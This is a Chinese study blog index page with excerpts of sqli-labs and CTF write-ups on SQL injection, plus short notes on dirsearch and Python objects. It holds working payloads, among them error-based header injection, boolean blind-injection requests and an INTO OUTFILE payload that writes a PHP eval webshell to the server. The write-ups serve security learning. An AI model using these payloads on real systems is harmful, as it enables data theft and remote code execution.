wds's 学习博客

个人势学习分享网站,闲记

0%

less18 header injection

header injection.png

登入成功返回我的ip地址和user agent

因为user agent在登入成功后会回显,所以理所当然的尝试在header的user agent注入

注入语句’ or updatexml(1,concat(0x7e,(database())),1) or ‘1’ =’1

直接在抓包处改

阅读全文 »

sqltest

原本只是想刷一刷sql注入的却意外的找到了一道misc题但是和sql注入关系紧密的sqltest。

这是一道流量包分析,首先先下载流量包。

然后百度下载可以打开浏览包的软件,O(∩_∩)O哈哈~~

第一次查看流量包

QQ截图20211124204947.png

这密密麻麻的字确实让人望而却步,但是还是可以看出一些端倪。

比如其中有一些get请求意外的相似:

GET /index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2020,%201))>99

8084 11.866325 10.0.2.15 172.16.80.11 HTTP 495 GET /index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2020,%201))>98

8094 11.872110 10.0.2.15 172.16.80.11 HTTP 495 GET /index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2020,%201))>98 HTTP/1.1

仔细看这不就是布尔盲注的爆破内容。

阅读全文 »

sql注入之无名注入

在我们进行sql注入的时候,有时候information_schema这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:

InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
文章截取csdn

阅读全文 »

less17的注入过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

substr($value,0,15);首先截取前16个字符

magic_quotes_gpc()函数在php中作用是判断用户提供数据,如包括有:post,get,cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序的错误

ctype_digit()判断是不是纯的数字

mysql_real_escape_string()调用mysql库的函数 mysql_real_escape_string,在以下字符前添加反斜杠:\x00,\n,\r,,‘,”,和\x1a,默认字符集。

阅读全文 »

less 11

这关让我们输入账号密码,而不是简单的?id=1,所以直接夹断.

QQ截图20211106114439.png

代理抓包发现题与以往不同

以往采用的是get方法,而这里是post方法,以至于我们在submit之无法看到输入的usename和password

但是本质上还是之前的报错注入,不过是基于post的提交方式

阅读全文 »

less7(一句话木马的利用)

首先按部就班试出

?id=1‘))–+

利用order by查出数据库列数

提示是use outfile

into outfile 是写文件的指令,资料引用csdn的大佬

利用union select 1,2,‘<?php @eval($_post[“crow”]);?>’ into outfile “D:\phpstudy_pro\WWW\sqli-labs\Less-7\a.php”–+将一句话木马写入

QQ截图20211104171541.png

这里报错了没事,现在文件已经写到我们想要的地方

阅读全文 »

对象

python中,一切皆为对象。每个对象由:标识(identity),类型(type),值(value)组成。

  1. 标识用于唯一标识对象,通常对应对象在计算机内存中的地址。使用内置函数id(obj)课返回对象obj的标识。
  2. 类型用于表示对象存储的“数据”的类型。类型可以限制对象的取值范围以及可执行的操作。可以使用type(obj)获取对象的所属类型。
  3. 值表示对象所存储的信息。使用print(obj)可以直接打印出值。
阅读全文 »

1.注入类型

sql注入形成的原因:用户被输入的非法数据被解释器执行

由注入类容区分为:

  1. 数字类型注入
  2. 字符类型注入

由提交方式分为:

  1. get注入
  2. post注入
  3. cookies注入
  4. http注入
阅读全文 »

善用工具

工欲善其事,必先利其器。好的工具一程度上能够压缩工作量,来使我们更高效的挖掘flag

dirsearch(目录扫描工具)

QQ截图20211021201535.png

常用命令:

python dirsearch.py -u URL -e php

-u 指定目标ip

-e 指定网站语言

-w 加上自己的字典

-random-agents使用代理

阅读全文 »